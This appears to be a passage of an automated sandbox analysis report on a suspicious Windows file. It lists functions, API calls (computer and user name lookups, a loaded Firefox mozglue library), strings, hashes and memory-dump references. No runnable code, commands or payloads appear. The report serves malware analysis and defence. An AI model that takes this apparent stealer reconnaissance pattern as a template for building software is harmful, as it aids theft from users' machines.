SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: cb2daf091321745df23fedb1650f3b99cec61f76a4317db001cf1f6c87bd01e4
Instruction ID: 145a595dc912f9aa43925838b45c23f8351599337f33e0c721b112252e287e5a
Opcode Fuzzy Hash: cb2daf091321745df23fedb1650f3b99cec61f76a4317db001cf1f6c87bd01e4
Instruction Fuzzy Hash: B7E0127194034C6BDB51EB50CC96FAD777CEB44B01F004295BA0C5A1C0DE74AB858B91

Function 005E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
Part of subcall function 005F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
Part of subcall function 005F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Part of subcall function 005F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
Part of subcall function 005F7850: RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
Part of subcall function 005F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

ExitProcess.KERNEL32 ref: 005E11C6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0fcbe2047f251695f35b284895b8f8942ece71bd74ed49b8121494d4963d9c9d
Instruction ID: f24d556a0ccdcb6618b449364c4f3185d0c7976f6f4f6ef44e64370448654ec9
Opcode Fuzzy Hash: 0fcbe2047f251695f35b284895b8f8942ece71bd74ed49b8121494d4963d9c9d
Instruction Fuzzy Hash: 18E0C2B190030E13CE1C33F1AC0EB3A3A8CBF54385F080424FB44C2202FA29E811C56A

Function 005F8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6220f2030a8dcec49db76c49b79533de07efadf61621e68db881df91aa02e4ae
Instruction ID: a893263e7e4061e83da25d3fa6901f2dc948fcdfb0958d86dbc079980d8fcc35
Opcode Fuzzy Hash: 6220f2030a8dcec49db76c49b79533de07efadf61621e68db881df91aa02e4ae
Instruction Fuzzy Hash: 4F01E830A0410CEBCB04CF98C5857BD7FB5BF04308F288498DA056B351C7795A88DB85

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] profiler_init, xrefs: 6C66564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
GeckoMain, xrefs: 6C665554, 6C6655D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
wintrust.dll, xrefs: 6C6672CD
SHA256, xrefs: 6C666EC0
(, xrefs: 6C66768A

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
<jemalloc>, xrefs: 6C693941, 6C6939F1
MALLOC_OPTIONS, xrefs: 6C6935FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

